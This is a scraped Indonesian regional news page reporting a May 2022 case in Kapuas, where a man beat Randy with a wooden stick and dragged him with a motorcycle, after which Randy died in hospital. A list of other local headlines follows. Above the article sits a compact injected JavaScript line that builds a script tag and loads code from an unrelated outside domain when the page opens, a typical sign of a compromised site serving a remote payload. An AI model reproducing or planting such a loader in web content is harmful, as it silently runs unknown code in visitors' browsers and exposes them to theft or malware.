(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pukul Randy Pakai Kayu hingga Tewas, Korban Sempat Diseret Pakai Motor


KANALKALIMANTAN.COM, KUALA KAPUAS – Polres Kapuas pengungkapan kasus penganiayaan yang mengakibatkan hilangnya nyawa orang, Senin (23/5/2022).

Kapolres Kapuas AKBP Qori Wicaksono menyampaikan kejadian penganiayaan terjadi dilakukan tersangka As (28), warga Desa Penda Muntei, Kecamatan Kapuas Tengah, pada Minggu 15 Mei 2022 sekira pukul 21.00 WIB, memukul Randy, warga Desa Masaran Kecamatan Kapuas Tengah, Kabupaten Kapuas dengan sebatang kayu.

AKBP Qori Wicaksono menjelaskan bermula dari seringnya diejek orang-orang yang melintas di depan rumahnya, tersangka merasa kesal dengan ejekan tersebut, tersangka pun marah, dan tidak mengenal lagi orang yang mengejeknya. Kemudian melihat Rendy melintas di depan rumahnya, tersangka langsung menyerang korban dengan cara memukul kepala korban dengan menggunakan sebatang kayu bulat pada bagian wajah, hingga mengalami luka memar bagian dahi dan luka robek di bagian mulut. “Kemudian oleh tersangka, korban diseret bersama sepeda motor yang dikendarainya,” terang AKBP Qori Wicaksono.

Mengetahui hal itu, dengan dibantu warga, korban dibawa ke Rumah Sakit Dorys Silvanus Palangkaraya untuk mendapatkan perawatan medis. “Setelah satu hari di rumah sakit, korban dinyatakan meninggal dunia,” jelas Kapolres Kapuas.

 

 

Baca juga: Wabah PMK Mulai Dirasakan Pedagang Daging, DKP3: Virus Tidak Menular ke Manusia

Polsek Kapuas Tengah langsung mengamankan pelaku selanjutnya pelaku dibawa ke Mapolres Kapuas untuk diproses hukum lebih lanjut. Barang bukti yang digunakan yaitu sebatang kayu bulat.

”Adapun motif kejadian penganiayaan, pelaku menghabisi nyawa korban dikarenakan sakit hati, sering diolok-olok orang yang melintas di depan tempat tinggalnya,” kata Kapolres Kapuas.

 

Pasal yang dipersangkakan kepada pelaku adalah pasal 351 ayat 3 KUHPdengan ancaman hukuman penjara selama-lamanya 7 tahun. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

3 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.